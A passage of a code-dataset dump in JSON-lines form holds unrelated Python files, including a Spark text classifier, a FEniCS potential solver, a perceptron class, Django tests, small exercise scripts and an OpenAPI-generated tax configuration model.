log.info(\"Fitting the train dataset using LogisticRegression\")\n lr = LogisticRegression(maxIter=max_iter)\n lr_model = lr.fit(train_df)\n return lr_model\n\n\ndef evaluate(log, model, test_df):\n log.info(\"Evaluating the trained model\")\n predictions = model.transform(test_df)\n evaluator = BinaryClassificationEvaluator(rawPredictionCol=\"rawPrediction\")\n log.info(evaluator.evaluate(predictions))\n\n\nif __name__ == '__main__':\n start_time = time.time()\n log_file = Logger.LoggerFile()\n logger = log_file.set_logger_file('Spark Content Classification',\n Constants.spark_content_classification_log_file_name)\n\n sql_context, spark_context = create_spark_context(logger)\n\n data_frame = read_csv_to_df(logger, sql_context, Constants.reading_format, Constants.read_header,\n Constants.infer_schema, Constants.vox_news_cleaned_data_path)\n\n data_frame = remove_na(logger, data_frame)\n\n train_set, val_set, test_set = split_data_frame(logger, data_frame, Constants.train_size,\n Constants.val_size, Constants.test_size,\n Constants.seed_value)\n\n train_data_frame, val_data_frame, test_data_frame = transform_data_set(logger, train_set, val_set, test_set,\n Constants.feature_column_name,\n Constants.target_column_name,\n Constants.number_of_features,\n Constants.document_frequency,\n Constants.content_tf_idf_model_path)\n\n sentiment_analysis_model = train_data_set(logger, train_data_frame, Constants.max_iter)\n evaluate(logger, sentiment_analysis_model, test_data_frame)\n sentiment_analysis_model.save(Constants.content_classification_model_path)\n\n logger.info(\"Data pre processing has taken \")\n logger.info(\"--- %s seconds ---\" % (time.time() - start_time))\n","sub_path":"Phase2/spark_model_training/content_classification.py","file_name":"content_classification.py","file_ext":"py","file_size_in_byte":5042,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"67"} +{"seq_id":"382334313","text":"\n\nfrom xai.brain.wordbase.verbs._reproach import _REPROACH\n\n#calss header\nclass _REPROACHES(_REPROACH, ):\n\tdef __init__(self,): \n\t\t_REPROACH.__init__(self)\n\t\tself.name = \"REPROACHES\"\n\t\tself.specie = 'verbs'\n\t\tself.basic = \"reproach\"\n\t\tself.jsondata = {}\n","sub_path":"xai/brain/wordbase/verbs/_reproaches.py","file_name":"_reproaches.py","file_ext":"py","file_size_in_byte":254,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"67"} +{"seq_id":"310271758","text":"from math import sin, cos, tan, radians\n\nangulo = int(input(\"Informe o angulo que você deseja: \"))\nan = radians(angulo)\n\nsen = sin(an)\ncos = cos(an)\ntan = tan(an)\n\nprint(\"Angulo: {}º \\nSeno: {:.2f}º \\nCosseno: {:.2f}º \\nTangente: {:.2f}º\".format(angulo, sen, cos, tan))\n","sub_path":"018.py","file_name":"018.py","file_ext":"py","file_size_in_byte":275,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"67"} +{"seq_id":"79501368","text":"#!/usr/bin/env python\n# encoding: utf-8\n###############################################################################\n# #\n# kESI #\n# #\n# Copyright (C) 2019-2020 Jakub M. Dzik (Laboratory of Neuroinformatics; #\n# Nencki Institute of Experimental Biology of Polish Academy of Sciences) #\n# #\n# This software is free software: you can redistribute it and/or modify #\n# it under the terms of the GNU General Public License as published by #\n# the Free Software Foundation, either version 3 of the License, or #\n# (at your option) any later version. #\n# #\n# This software is distributed in the hope that it will be useful, #\n# but WITHOUT ANY WARRANTY; without even the implied warranty of #\n# MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the #\n# GNU General Public License for more details. #\n# #\n# You should have received a copy of the GNU General Public License #\n# along with this software. If not, see http://www.gnu.org/licenses/. #\n# #\n###############################################################################\n\nimport logging\nimport os\n\nimport numpy as np\n\ntry:\n from . import fem_common as fc\n # When run as script raises:\n # - `ModuleNotFoundError(ImportError)` (Python 3.6-7), or\n # - `SystemError` (Python 3.3-5), or\n # - `ValueError` (Python 2.7).\n\nexcept (ImportError, SystemError, ValueError):\n import fem_common as fc\n\n\nlogger = logging.getLogger(__name__)\nlogger.setLevel(logging.INFO)\n\n\ntry:\n from dolfin import Constant, DirichletBC, Expression\n\nexcept (ModuleNotFoundError, ImportError):\n logger.warning(\"Unable to import from dolfin\")\n\nelse:\n class SlicePointSourcePotentialFEM(fc._SubtractionPointSourcePotentialFEM):\n MAX_ITER = 1000\n\n def _potential_gradient_normal(self, conductivity=0.0):\n # projection on normal: src_z - x[2]\n # projection on Z axis: x[2] - src_z\n return Expression('''\n -0.25 / {pi} / conductivity\n * (src_z - x[2])\n * pow((src_x - x[0])*(src_x - x[0])\n + (src_y - x[1])*(src_y - x[1])\n + (src_z - x[2])*(src_z - x[2]),\n -1.5)\n '''.format(pi=np.pi),\n degree=self.degree,\n domain=self._fm.mesh,\n src_x=0.0,\n src_y=0.0,\n src_z=0.0,\n conductivity=conductivity)\n\n def base_conductivity(self, x, y, z):\n return self.config.getfloat('slice', 'conductivity')\n\n def _boundary_condition(self, x, y, z):\n approximate_potential = self._potential_expression(self.config.getfloat('saline',\n 'conductivity'))\n radius = self.config.getfloat('dome', 'radius')\n return DirichletBC(self._fm.function_space,\n Constant(approximate_potential(0, 0, radius)\n - self._base_potential_expression(0, 0, radius)),\n self._boundaries,\n self.config.getint('dome', 'surface'))\n\n def _modify_linear_equation(self, x, y, z):\n logger.debug('Defining boundary condition...')\n self._dirichlet_bc = self._boundary_condition(x, y, z)\n logger.debug('Done. Applying boundary condition to the matrix...')\n self._dirichlet_bc.apply(self._terms_with_unknown)\n logger.debug('Done. Applying boundary condition to the vector...')\n self._dirichlet_bc.apply(self._known_terms)\n logger.debug('Done.')\n\n def _potential_expression(self, conductivity=0.0):\n return Expression('''\n 0.25 / {pi} / conductivity\n / sqrt((src_x - x[0])*(src_x - x[0])\n + (src_y - x[1])*(src_y - x[1])\n + (src_z - x[2])*(src_z - x[2]))\n '''.format(pi=np.pi),\n degree=self.degree,\n domain=self._fm.mesh,\n src_x=0.0,\n src_y=0.0,\n src_z=0.0,\n conductivity=conductivity)\n\n\n class PointSourceFactoryINI(fc.PointSourceFactoryINI):\n class LazySource(fc.PointSourceFactoryINI.LazySource):\n __slots__ = ()\n\n def _potential_not_corrected(self, X, Y, Z):\n return self._a / self._distance(X, Y, Z)\n\n\n if __name__ == '__main__':\n import sys\n\n logging.basicConfig(level=logging.INFO)\n\n for config in sys.argv[1:]:\n fem = SlicePointSourcePotentialFEM(config)\n solution_filename_pattern = fem._fm.get('fem', 'solution_filename_pattern')\n solution_name_pattern = fem._fm.get('fem', 'solution_name_pattern')\n solution_metadata_filename = fem._fm.getpath('fem', 'solution_metadata_filename')\n h = fem.config.getfloat('slice', 'thickness')\n k = fem._fm.getint('fem', 'k')\n n = 2 ** k + 1\n margin = 0.5 * h / n\n Z = np.linspace(margin, h - margin, n)\n X = np.linspace(0, 0.5 * h - margin, 2 ** (k - 1) + 1)\n\n for x_idx, x in enumerate(X):\n for y_idx, y in enumerate(X[:x_idx + 1]):\n logger.info('{} {:3.1f}%\\t(x = {:g}\\ty = {:g})'.format(config,\n 100 * float(x_idx * (x_idx - 1) // 2 + y_idx) / ((2 ** (k - 1) + 1) * 2 ** (k - 2)),\n x, y))\n for z_idx, z in enumerate(Z):\n name = solution_name_pattern.format(x=x_idx,\n y=y_idx,\n z=z_idx)\n if fem._fm.has_solution(name):\n filename = fem._fm.getpath(name, 'filename')\n if os.path.exists(filename):\n logger.info('{} {:3.1f}%\\t(x = {:g}\\ty = {:g},\\tz={:g}) found'.format(\n config,\n 100 * float(x_idx * (x_idx - 1) // 2 + y_idx) / ((2 ** (k - 1) + 1) * 2 ** (k - 2)),\n x, y, z))\n continue\n\n logger.info('{} {:3.1f}%\\t(x = {:g}\\ty = {:g},\\tz={:g})'.format(\n config,\n 100 * float(x_idx * (x_idx - 1) // 2 + y_idx) / ((2 ** (k - 1) + 1) * 2 ** (k - 2)),\n x, y, z))\n function = fem.solve(x, y, z)\n filename = solution_filename_pattern.format(x=x_idx,\n y=y_idx,\n z=z_idx)\n fem._fm.store(name, function,\n {'filename': filename,\n 'x': x,\n 'y': y,\n 'z': z,\n 'global_preprocessing_time': float(fem.global_preprocessing_time),\n 'local_preprocessing_time': float(fem.local_preprocessing_time),\n 'solving_time': float(fem.solving_time),\n 'base_conductivity': fem.base_conductivity(x, y, z),\n })\n fem._fm.write(solution_metadata_filename)\n\n","sub_path":"extras/FEM/fem_slice_point_new.py","file_name":"fem_slice_point_new.py","file_ext":"py","file_size_in_byte":8745,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"67"} +{"seq_id":"24835561","text":"class Solution(object):\n def singleNumber(self, nums):\n \"\"\"\n :type nums: List[int]\n :rtype: int\n \"\"\"\n result = 0\n for num in nums:\n result ^= num\n return result\n \nif __name__ == '__main__':\n a = [1,2,4,2,1,5,4]\n s = Solution()\n res = s.singleNumber(a)\n print(res)\n ","sub_path":"136. Single Number/solution.py","file_name":"solution.py","file_ext":"py","file_size_in_byte":346,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"67"} +{"seq_id":"474566197","text":"import random\nimport requests\nimport json\n\nmy_words = ['there', 'some', 'water', 'time', 'ability', 'abandon', 'absolute', 'absorb', 'access', 'apple', 'air',\n 'axis', 'accept', 'accident', 'actual', 'bat', 'ball', 'bowl', 'bot', 'book', 'boss', 'born', 'border',\n 'boot', 'borrow']\n\n\ndef reverse(sentence):\n final_sentence = list(str(sentence)).copy()\n final_sentence.reverse()\n final_str = ''.join(final_sentence)\n return final_str\n\n\n# def word_jumble():\n# random_word = random.choice(my_words)\n# print(random_word)\n# for x in range(random_word):\n# random_word[]\n# print(jumble)\ndef get_joke():\n joke = requests.get('https://official-joke-api.appspot.com/jokes/ten').text\n rand_num = random.randint(1, 9)\n dict_json = json.loads(joke)\n main = dict_json[rand_num]['setup']\n punchline = dict_json[rand_num]['punchline']\n return f'{main}\\n{punchline}'\n\n\nprint(get_joke())\n","sub_path":"python new/tests/test.py","file_name":"test.py","file_ext":"py","file_size_in_byte":947,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"67"} +{"seq_id":"628405353","text":"__author__ = 'cbrown'\n\n\ndef fibonacci_sequence(max_index):\n # Initializing the list that we will store\n # the calculated values of the fibonacci\n # sequence.\n fib_sequence = [0,1,1]\n a=1\n b=1\n for i in range(0,max_index):\n # Iterative method for calculating fibonacci numbers - Very fast!\n a = a+b\n b = a+b\n # Adding the calculated values to the list defined above.\n fib_sequence.append(a)\n fib_sequence.append(b)\n return(fib_sequence)\n\ndef get_fibonacci_index(fib_number):\n for i in range(0,len(fib_sequence)):\n if fib_number == fib_sequence[i]:\n return(i)\n\ndef main():\n # Opening and reading data file to pass into\n # the above functions for processing.\n with open(\"data/fibonacci-sequence-data.txt\", \"r\") as f:\n\n data = f.read()\n data = [int(n) for n in data.split()]\n # Calculated fibonacci sequence passed as Global\n # into get_fibonacci_index function to save having\n # to calculate it each time.\n global fib_sequence\n fib_sequence = fibonacci_sequence(1000) # Arbitrarily high range of fibonacci numbers.\n\n for i in range(0, len(data)):\n print(get_fibonacci_index(data[i]), \" \", end='') # Printing result in format desired by CodeAbbey.\n\n\nmain()","sub_path":"py/fibonacci-sequence.py","file_name":"fibonacci-sequence.py","file_ext":"py","file_size_in_byte":1324,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"67"} +{"seq_id":"93174468","text":"#coding:utf-8\nfrom model_mommy import mommy\n\nfrom django.test import TestCase\nfrom django.core.urlresolvers import reverse\n\nfrom ..models import Course, Task\n\nclass CourseTestCase(TestCase):\n\n def test_sets_slug_after_creation(self):\n course = mommy.make_one(Course, title='Novo Curso Show!')\n self.assertEqual('novo-curso-show', course.slug)\n\n def test_does_not_overrides_slug(self):\n course = mommy.make_one(Course, title='Novo Curso Show!')\n course.title = 'novo'\n course.save()\n course = Course.objects.get(id=course.id)\n self.assertEqual('novo-curso-show', course.slug)\n\n def test_get_absolute_url_returns_course_detail_url(self):\n course = mommy.make_one(Course)\n url = course.get_absolute_url()\n expected_url = reverse('core:course_detail', args=[course.slug])\n self.assertEqual(expected_url, url)\n\n def test_returns_ordered_tasks(self):\n course = mommy.make_one(Course)\n tasks = mommy.make_many(Task, course=course)\n expected_qs = Task.objects.filter(course=course).order_by('position')\n self.assertEqual(list(expected_qs), list(course.get_tasks()))\n","sub_path":"django_app/src/core/tests/test_models.py","file_name":"test_models.py","file_ext":"py","file_size_in_byte":1175,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"67"} +{"seq_id":"419610276","text":"# Plot the Lucy Angel dataset with custom lighting.\n#\nfrom pyvista import examples\nimport pyvista\ndataset = examples.download_lucy()\n#\n# Create a light at the \"flame\"\n#\nflame_light = pyvista.Light(\n color=[0.886, 0.345, 0.133],\n position=[550, 140, 950],\n intensity=1.5,\n positional=True,\n cone_angle=90,\n attenuation_values=(0.001, 0.005, 0)\n)\n#\n# Create a scene light\n#\nscene_light = pyvista.Light(intensity=0.2)\n#\npl = pyvista.Plotter(lighting=None)\n_ = pl.add_mesh(dataset, smooth_shading=True)\npl.add_light(flame_light)\npl.add_light(scene_light)\npl.background_color = 'k'\npl.show()\n","sub_path":"version/0.38/api/examples/_autosummary/pyvista-examples-downloads-download_lucy-1.py","file_name":"pyvista-examples-downloads-download_lucy-1.py","file_ext":"py","file_size_in_byte":606,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"67"} +{"seq_id":"647874783","text":"# coding: utf-8\n\n\"\"\"\n SaasPro\n\n APIs to interface with communications tax engine.
The API requires Basic authentication.
Users with access to multiple clients must also set request header parameter for client_id.
Set client_profile_id to specify profile to be used for taxation. # noqa: E501\n\n The version of the OpenAPI document: v2\n Generated by: https://openapi-generator.tech\n\"\"\"\n\n\nimport pprint\nimport re # noqa: F401\n\nimport six\n\nfrom avalara.comms.rest.v2.configuration import Configuration\n\n\nclass Configuration(object):\n \"\"\"NOTE: This class is auto generated by OpenAPI Generator.\n Ref: https://openapi-generator.tech\n\n Do not edit the class manually.\n \"\"\"\n\n \"\"\"\n Attributes:\n openapi_types (dict): The key is attribute name\n and the value is attribute type.\n attribute_map (dict): The key is attribute name\n and the value is json key in definition.\n \"\"\"\n openapi_types = {\n 'traffic_study_overrides': 'list[TrafficStudyOverride]',\n 'return_non_billable': 'bool',\n 'tax_on_tax_algorithm': 'int',\n 'self_tax_algorithm': 'int'\n }\n\n attribute_map = {\n 'traffic_study_overrides': 'TrafficStudyOverrides',\n 'return_non_billable': 'ReturnNonBillable',\n 'tax_on_tax_algorithm': 'TaxOnTaxAlgorithm',\n 'self_tax_algorithm': 'SelfTaxAlgorithm'\n }\n\n def __init__(self, traffic_study_overrides=None, return_non_billable=None, tax_on_tax_algorithm=None, self_tax_algorithm=None, local_vars_configuration=None): # noqa: E501\n \"\"\"Configuration - a model defined in OpenAPI\"\"\" # noqa: E501\n if local_vars_configuration is None:\n local_vars_configuration = Configuration()\n self.local_vars_configuration = local_vars_configuration\n\n self._traffic_study_overrides = None\n self._return_non_billable = None\n self._tax_on_tax_algorithm = None\n self._self_tax_algorithm = None\n self.discriminator = None\n\n self.traffic_study_overrides = traffic_study_overrides\n self.return_non_billable = return_non_billable\n self.tax_on_tax_algorithm = tax_on_tax_algorithm\n self.self_tax_algorithm = self_tax_algorithm\n\n @property\n def traffic_study_overrides(self):\n \"\"\"Gets the traffic_study_overrides of this Configuration. # noqa: E501\n\n List of Traffic Study Overrides # noqa: E501\n\n :return: The traffic_study_overrides of this Configuration. # noqa: E501\n :rtype: list[TrafficStudyOverride]\n \"\"\"\n return self._traffic_study_overrides\n\n @traffic_study_overrides.setter\n def traffic_study_overrides(self, traffic_study_overrides):\n \"\"\"Sets the traffic_study_overrides of this Configuration.\n\n List of Traffic Study Overrides # noqa: E501\n\n :param traffic_study_overrides: The traffic_study_overrides of this Configuration. # noqa: E501\n :type: list[TrafficStudyOverride]\n \"\"\"\n\n self._traffic_study_overrides = traffic_study_overrides\n\n @property\n def return_non_billable(self):\n \"\"\"Gets the return_non_billable of this Configuration. # noqa: E501\n\n true : Return both non-billable and billable taxes in taxation response false (default) : Return billable taxes only in taxation response Default: false # noqa: E501\n\n :return: The return_non_billable of this Configuration. # noqa: E501\n :rtype: bool\n \"\"\"\n return self._return_non_billable\n\n @return_non_billable.setter\n def return_non_billable(self, return_non_billable):\n \"\"\"Sets the return_non_billable of this Configuration.\n\n true : Return both non-billable and billable taxes in taxation response false (default) : Return billable taxes only in taxation response Default: false # noqa: E501\n\n :param return_non_billable: The return_non_billable of this Configuration. # noqa: E501\n :type: bool\n \"\"\"\n\n self._return_non_billable = return_non_billable\n\n @property\n def tax_on_tax_algorithm(self):\n \"\"\"Gets the tax_on_tax_algorithm of this Configuration. # noqa: E501\n\n Tax-on-tax algorithm to be used in tax calculations 0 : Single pass 1 (default) : IterateOnTaxAmount 2 : IterateOnTaxableMeasure # noqa: E501\n\n :return: The tax_on_tax_algorithm of this Configuration. # noqa: E501\n :rtype: int\n \"\"\"\n return self._tax_on_tax_algorithm\n\n @tax_on_tax_algorithm.setter\n def tax_on_tax_algorithm(self, tax_on_tax_algorithm):\n \"\"\"Sets the tax_on_tax_algorithm of this Configuration.\n\n Tax-on-tax algorithm to be used in tax calculations 0 : Single pass 1 (default) : IterateOnTaxAmount 2 : IterateOnTaxableMeasure # noqa: E501\n\n :param tax_on_tax_algorithm: The tax_on_tax_algorithm of this Configuration. # noqa: E501\n :type: int\n \"\"\"\n\n self._tax_on_tax_algorithm = tax_on_tax_algorithm\n\n @property\n def self_tax_algorithm(self):\n \"\"\"Gets the self_tax_algorithm of this Configuration. # noqa: E501\n\n Self-tax algorithm to be used in tax calculations 0 (default) : Calculate tax on individual self-taxing taxes 1 : Calculate tax on aggregate of self-taxing taxes # noqa: E501\n\n :return: The self_tax_algorithm of this Configuration. # noqa: E501\n :rtype: int\n \"\"\"\n return self._self_tax_algorithm\n\n @self_tax_algorithm.setter\n def self_tax_algorithm(self, self_tax_algorithm):\n \"\"\"Sets the self_tax_algorithm of this Configuration.\n\n Self-tax algorithm to be used in tax calculations 0 (default) : Calculate tax on individual self-taxing taxes 1 : Calculate tax on aggregate of self-taxing taxes # noqa: E501\n\n :param self_tax_algorithm: The self_tax_algorithm of this Configuration. # noqa: E501\n :type: int\n \"\"\"\n\n self._self_tax_algorithm = self_tax_algorithm\n\n def to_dict(self):\n \"\"\"Returns the model properties as a dict\"\"\"\n result = {}\n\n for attr, _ in six.iteritems(self.openapi_types):\n value = getattr(self, attr)\n if isinstance(value, list):\n result[attr] = list(map(\n lambda x: x.to_dict() if hasattr(x, \"to_dict\") else x,\n value\n ))\n elif hasattr(value, \"to_dict\"):\n result[attr] = value.to_dict()\n elif isinstance(value, dict):\n result[attr] = dict(map(\n lambda item: (item[0], item[1].to_dict())\n if hasattr(item[1], \"to_dict\") else item,\n value.items()\n ))\n else:\n result[attr] = value\n\n return result\n\n def to_str(self):\n \"\"\"Returns the string representation of the model\"\"\"\n return pprint.pformat(self.to_dict())\n\n def __repr__(self):\n \"\"\"For `print` and `pprint`\"\"\"\n return self.to_str()\n\n def __eq__(self, other):\n \"\"\"Returns true if both objects are equal\"\"\"\n if not isinstance(other, Configuration):\n return False\n\n return self.to_dict() == other.to_dict()\n\n def __ne__(self, other):\n \"\"\"Returns true if both objects are not equal\"\"\"\n if not isinstance(other, Configuration):\n return True\n\n return self.to_dict() != other.to_dict()\n","sub_path":"afc_saaspro_tax/afc_rest_apis/SDK/python/avalara/comms/rest/v2/models/configuration.py","file_name":"configuration.py","file_ext":"py","file_size_in_byte":7480,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"67"} +{"seq_id":"551099085","text":"from __future__ import print_function\n\nimport numpy as np\nimport matplotlib.pyplot as pl\nimport pickle, os\n\nfrom ml_stats import *\n\n# Numpy notes\n# np.shape(numpy array) = (rows, cols) tuple\n# np.array should be passed an array-like object\n# np.save(string file name ending in .npy, array to save)\n# np.load(string file name)\n# np.concatenate( (tuple of arrays to concatenate), axis ) 0 axis is\n# add rows, 1 is add cols\n# np.where(condition, value for true, value for false)\n\n\nROW = 0 # index of rows in numpy\nCOL = 1 # index of columns in numpy\nDEFAULT_LR = 0.2 # default learning rate\nDEFAULT_REPORT = False # if confmat stats are printed while learning\nDEFAULT_MIN_ITER = 20 # Training iterations for auto_train function\nDEFAULT_DIR = \"Saved_Perceptrons/\"\nDEFAULT_FILENAME = \"perceptron.pkl\"\nDEFAULT_WEIGHTS_FILE = \"perceptron.wgt\"\n\n\nclass Perceptron:\n # Pre: nIn = number of input columns > 0\n # nOut = number of output columns > 0\n # eta = 1 < learning rate > 0\n # Post: all necessary attributes are initialized\n def __init__(self, nIn=1, nOut=1, eta=DEFAULT_LR):\n self.activation = 0\n self.learning_rate = eta\n self.number_inputs = nIn\n self.number_outputs = nOut\n self.weights = np.zeros((nIn+1, nOut))\n # self.weights = np.random.rand(nIn+1, nOut)\n # INIT_RAND_RANGE = 0.1 # initial random range for weights\n # # \"+1\" for bias node, \"*.1 - .05\" to make the random values small\n # self.weights = ( (self.weights * INIT_RAND_RANGE) -\n # ( INIT_RAND_RANGE / 2.0 ) )\n\n\n # Pre: string method called on Perceptron class\n # Post: Information about *this is returned in a string\n def __str__(self):\n string = (\n \"Threshold: \"+str(self.activation)+\n \"\\nLearning_Rate: \"+str(self.learning_rate)+\n \"\\nInputs_Outputs: \"+str(self.number_inputs)+\", \"+\n str(self.number_outputs)+\"\\nWeights:\\n\"+str(self.weights))\n return string\n\n\n # ==================\n # File I/O \n # ==================\n\n\n # Pre: filename is a valid string\n # Post: this object is saved to a file\n def save(self, filename=DEFAULT_FILENAME, directory=DEFAULT_DIR):\n if not os.path.exists(directory): os.mkdir(directory)\n with open(directory+ \"/\" +filename, \"wb\") as f:\n pickle.dump(self, f)\n\n # Pre: \"filename\" is a pickled perceptron that exists in the\n # current directory\n # Post: this object is overwritten by the object stored in\n # \"filename\"\n def load(self, filename=DEFAULT_FILENAME, directory=DEFAULT_DIR):\n with open(directory+ \"/\" +filename, \"rb\") as f:\n p = pickle.load(f)\n self.learning_rate = p.learning_rate\n self.activation = p.activation\n self.number_inputs = p.number_inputs\n self.number_outputs = p.number_outputs\n self.weights = p.weights\n\n # Pre: filename is a valid string\n # Post: The weights are saved to a text file, one on each line\n def save_weights(self, filename=DEFAULT_WEIGHTS_FILE,\n directory=DEFAULT_DIR):\n if not os.path.exists(directory): os.mkdir(directory)\n with open(directory+ \"/\" +filename, \"w\") as f:\n for row in self.weights:\n f.write(str(float(row[0]))+\"\\n\")\n\n # Pre: \"filename\" is a file of numbers on each line, the number\n # of lines in the file correspond properly to the\n # appropriate length weight matrix for this perceptron\n # Post: Weights are saved in a np array into class attributes\n def load_weights(self, filename=DEFAULT_WEIGHTS_FILE,\n directory=DEFAULT_DIR):\n with open(directory+ \"/\" +filename, \"r\") as f:\n weights = [[float(value)] for value in f.readlines()]\n self.weights = np.array(weights)\n\n\n # =========================\n # Private Methods \n # =========================\n\n\n # Pre: input_matrix is a numpy array\n # Post: exceptions are raised if the matrices do not pass shape\n # tests.\n def _check_shape(self, input_matrix, target_matrix):\n input_shape = input_matrix.shape\n target_shape = target_matrix.shape\n if (input_shape[COL] != self.number_inputs):\n raise( Exception((\"Input cols, %d does not match the \" +\n \"number of inputs for this perceptron,\"\n + \" %d.\") % (input_shape[COL],\n self.number_inputs)) )\n if (input_shape[ROW] != target_shape[ROW]):\n raise( Exception((\"Rows in input, %d, does not match rows\"\n + \" in target, %d.\") % \n (input_shape[ROW], \n target_shape[ROW])) )\n\n # Pre: matrix is defined\n # Post: a column of -1's is added to the given matrix and the\n # concatenated form is returned\n def _add_bias(self, matrix):\n rows = np.shape(matrix)[ROW]\n bias_column = np.ones( (rows, 1) ) # 1 column \n return np.concatenate( (matrix,bias_column), COL )\n\n # Pre: \"input matrix\" was used to calculate the\n # \"corrective_column\" and are of the same number of rows\n # Post: \"self.weights\" matrix is updated\n def _learn(self, input_matrix, corrective_column):\n updates = np.dot(input_matrix.T, corrective_column)\n self.weights += self.learning_rate * updates \n\n\n # Pre: \"input_mat\" has data in it (no targets), numpy matrix,\n # \"target_mat\" should be numpy matrix with 1 column and the\n # same number of rows as \"input_mat\"\n # Post: A bias is added if necessary (it may have already been\n # added), the shape is verified against self.weights, and\n # the input matrix is returned ready to be ran forward\n def _prepare_input(self, input_mat, target_mat):\n if (input_mat.shape[1] < self.weights.shape[0]):\n input_mat = self._add_bias(input_mat)\n # Check to make sure the inputs match the expected size\n self._check_shape(input_mat[:,:-1], target_mat)\n return input_mat\n \n\n # =========================\n # Data Processing \n # =========================\n\n\n # Pre: \"inputs\" can be multiplied by \"self.weights\"\n # Post: A matrix of the final activations of the neurons\n def forward(self, inputs):\n activations = np.dot(inputs,self.weights)\n return np.where( activations > self.activation, 1, 0 ) \n # return a column of 1's where an activation occured\n\n\n # Pre: \"inputs\" and \"targets\" are matrices of equal rows,\n # \"inputs\" is the number of cols in \"self.number_inputs\"\n # \"iterations\" is > 0\n # Post: This perceptron's weight matrix is updated to more\n # accurately predict the given data set.\n def train(self, inputs, targets, iterations, report=DEFAULT_REPORT):\n inputs = self._prepare_input(inputs, targets)\n for n in range( iterations ):\n activations = self.forward(inputs);\n self._learn(inputs, targets - activations)\n if report: conf_mat_stats(self.confmat(inputs, targets))\n\n # Pre: \"inputs\" and \"targets\" are numpy matrices of equal row\n # length, \"inputs\" has a number of columns equal to\n # \"self.number_inputs\"\n # Post: This perceptron is trained for \"min_iters\"\n def metric_train(self, inputs, targets, min_iters=DEFAULT_MIN_ITER,\n report=DEFAULT_REPORT):\n inputs = self._prepare_input(inputs, targets)\n best_weights = {metric:(-float(\"inf\"),0) for metric in METRICS}\n for n in range( min_iters ):\n activations = self.forward(inputs);\n self._learn(inputs, targets - activations)\n cm = self.confmat(inputs, targets)\n for m_name in METRICS:\n current_results = (METRICS[m_name](cm), self.weights.copy())\n if (current_results[0] == 1.0 \n and (np.trace(cm)/np.sum(cm)) < 1.0):\n current_results = (0.0, current_results[1])\n best_weights[m_name] = max(best_weights[m_name], \n current_results,\n key=lambda i: i[0])\n if report:\n report = []\n for m_name in METRICS:\n self.weights = best_weights[m_name][1]\n cm = self.confmat(inputs,targets)\n report.append((best_weights[m_name][0], \n str(self.weights), \n str(self.confmat(inputs, targets))))\n\n longest_name = len(max([m_name for m_name in METRICS]))\n for i, m_name in enumerate(METRICS):\n print(\"Best \"+m_name+\":\"+\" \"*(longest_name-len(m_name))+\n \" %0.3f\\n%s\\n%s\\n\"%report[i])\n print()\n\n return(best_weights)\n\n\n # Pre: \"inputs\" and \"targets\" are numpy arrays of equal length\n # Post: This neural network learns this dataset and is ready to\n # classify\n def fit(self, inputs, targets):\n self.number_inputs = inputs.shape[1]\n self.number_outputs = targets.shape[1]\n self.weights = np.zeros((self.number_inputs+1,\n self.number_outputs))\n results = self.metric_train(inputs, targets)\n self.weights = results[\"MCC\"][1]\n\n\n # =============================\n # Perofmance Analysis \n # =============================\n\n\n # Pre: \"input matrix\" is of the same number of rows as \"target\n # matrix\", the columns of input matrix match expected num\n # cols\n # Post: A confusion matrix of true positives, false positives,\n # false negatives, and true negatives if the classifier is binary\n def confmat(self, input_mat, target_mat):\n input_mat = self._prepare_input(input_mat, target_mat)\n num_classes = np.shape(target_mat)[COL]\n\n if ( num_classes == 1 ):\n num_classes = 2\n outputs = self.forward(input_mat)\n\n else: # produce single columns of numerical answers \n # (index of max value in row)\n outputs = np.argmax( np.dot( input_mat, self.weights ) , COL )\n target_mat = np.argmax( target_mat, COL )\n\n conf_mat = np.zeros( (num_classes, num_classes) )\n for row in range(num_classes):\n for col in range(num_classes):\n conf_mat[row,col] = np.sum(np.where(outputs==row, 1,0) *\n np.where(target_mat==col, 1,0))\n # sum of where (outputs == row) and (target_mat == col)\n return conf_mat\n\n\n # Pre: \"input matrix\" is of the same number of rows as \"target\n # matrix\", the columns of \"input matrix\" match expected num\n # cols, \"ret_area\" boolean if area should be computed and\n # returned, \"steps\" > 0\n # Post: The area under the roc curve given linearly varied\n # activation thresholds for \"steps\" over range\n # determined by the range of activations produced on the\n # provided input matrix\n def roc(self, input_mat, target_mat, ret_area=ROC_RETURN_AREA, steps=DEFAULT_ROC_STEPS):\n old_activation = self.activation # save the old activation\n results = [(0,0)] #initialize results with the origin\n inputs = self._add_bias(input_mat)\n activations = np.dot(inputs ,self.weights)\n\n # Function for determining the range of activaitons to scale through\n activation_range = ( max(activations) - min(activations) )\n activation_shift = max(activations) - ( activation_range / 2.0 )\n calc_activation = lambda i: (i+1.0) * activation_range / steps + activation_shift\n\n # Run confusion matrix \n for step in range(steps):\n self.activation = calc_activation(step)\n conf_mat = self.confmat(input_mat,target_mat)\n results.append( (false_pos(conf_mat),true_pos(conf_mat)) )\n results.sort(key=lambda i: i[0])\n # sort in ascending order of false positive rate\n self.activation = old_activation # reset the activation to original value\n\n if ret_area: # if just the area should be returned\n results = AUC( results )\n\n return results\n","sub_path":"Neural Network/tl_perceptron.py","file_name":"tl_perceptron.py","file_ext":"py","file_size_in_byte":12554,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"67"} +{"seq_id":"463154652","text":"'''\nL02 baseline:\n\nReturns total price paid for individual rentals.\n\nDebugging uncovered the following, in order:\n1: Start date entries can follow end date entries chronologically, crashing the program.\n2: There is a units rented value of zero, also crashing the program.\n\nLogging uncovered the following:\n3: There are blank rental end dates.\n\nThis module addresses these issues, and meets the remaining assignment requirements.\n\n\nL09 changes:\nThe command line arguments will set a *unique* logging level *per* function.\nHence the following is possible:\n\nload_rentals_file logging set to either 0, 1, 2, 3\ncalculate_additional_fields logging set to either 0, 1, 2, 